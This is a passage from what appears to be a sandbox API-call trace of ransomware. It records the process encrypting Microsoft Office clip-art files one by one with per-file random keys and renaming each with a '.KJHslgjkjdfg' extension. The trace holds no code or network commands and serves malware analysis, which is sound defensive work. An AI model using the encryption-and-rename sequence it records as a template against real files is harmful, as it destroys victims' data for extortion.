hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.410] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.411] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.411] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.411] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xce8, lpOverlapped=0x0) returned 1 [0249.411] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcf0) returned 1 [0249.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.411] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcf0, lpOverlapped=0x0) returned 1 [0249.411] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.411] SetEndOfFile (hFile=0x130) returned 1 [0249.414] GetProcessHeap () returned 0x2ef0000 [0249.414] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.414] GetProcessHeap () returned 0x2ef0000 [0249.414] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.kjhslgjkjdfg")) returned 1 [0249.416] CloseHandle (hObject=0x130) returned 1 [0249.416] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1 [0249.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.418] GetProcessHeap () returned 0x2ef0000 [0249.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.418] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0249.421] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.421] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.421] GetProcessHeap () returned 0x2ef0000 [0249.421] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.421] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.421] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.421] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.421] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.421] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.421] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.422] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.422] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.422] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.422] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x338e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x338e, lpOverlapped=0x0) returned 1 [0249.423] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3390, dwBufLen=0x3390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3390) returned 1 [0249.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.423] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3390, lpOverlapped=0x0) returned 1 [0249.423] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.424] SetEndOfFile (hFile=0x130) returned 1 [0249.426] GetProcessHeap () returned 0x2ef0000 [0249.426] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.427] GetProcessHeap () returned 0x2ef0000 [0249.427] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.kjhslgjkjdfg")) returned 1 [0249.429] CloseHandle (hObject=0x130) returned 1 [0249.429] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1 [0249.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.431] GetProcessHeap () returned 0x2ef0000 [0249.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.431] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.432] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0249.434] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.434] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.434] GetProcessHeap () returned 0x2ef0000 [0249.434] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0249.434] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0249.434] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.434] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0249.434] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.435] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.435] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.435] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b6, lpOverlapped=0x0) returned 1 [0249.435] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0249.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.436] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0249.436] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.436] SetEndOfFile (hFile=0x130) returned 1 [0249.439] GetProcessHeap () returned 0x2ef0000 [0249.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0249.439] GetProcessHeap () returned 0x2ef0000 [0249.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.kjhslgjkjdfg")) returned 1 [0249.441] CloseHandle (hObject=0x130) returned 1 [0249.441] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1 [0249.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.443] GetProcessHeap () returned 0x2ef0000 [0249.443] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.443] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.446] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.446] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.446] GetProcessHeap () returned 0x2ef0000 [0249.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.446] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.446] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.446] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.446] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.447] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.447] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.447] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.447] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.447] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.447] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbde2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbde2, lpOverlapped=0x0) returned 1 [0249.449] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbdf0, dwBufLen=0xbdf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbdf0) returned 1 [0249.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.449] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbdf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbdf0, lpOverlapped=0x0) returned 1 [0249.450] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.450] SetEndOfFile (hFile=0x130) returned 1 [0249.453] GetProcessHeap () returned 0x2ef0000 [0249.453] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.453] GetProcessHeap () returned 0x2ef0000 [0249.453] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.kjhslgjkjdfg")) returned 1 [0249.455] CloseHandle (hObject=0x130) returned 1 [0249.455] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1 [0249.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.457] GetProcessHeap () returned 0x2ef0000 [0249.457] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.457] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.457] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0249.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.460] GetProcessHeap () returned 0x2ef0000 [0249.460] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.460] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.460] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.460] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.460] WriteFile (in: hFile=0x130, 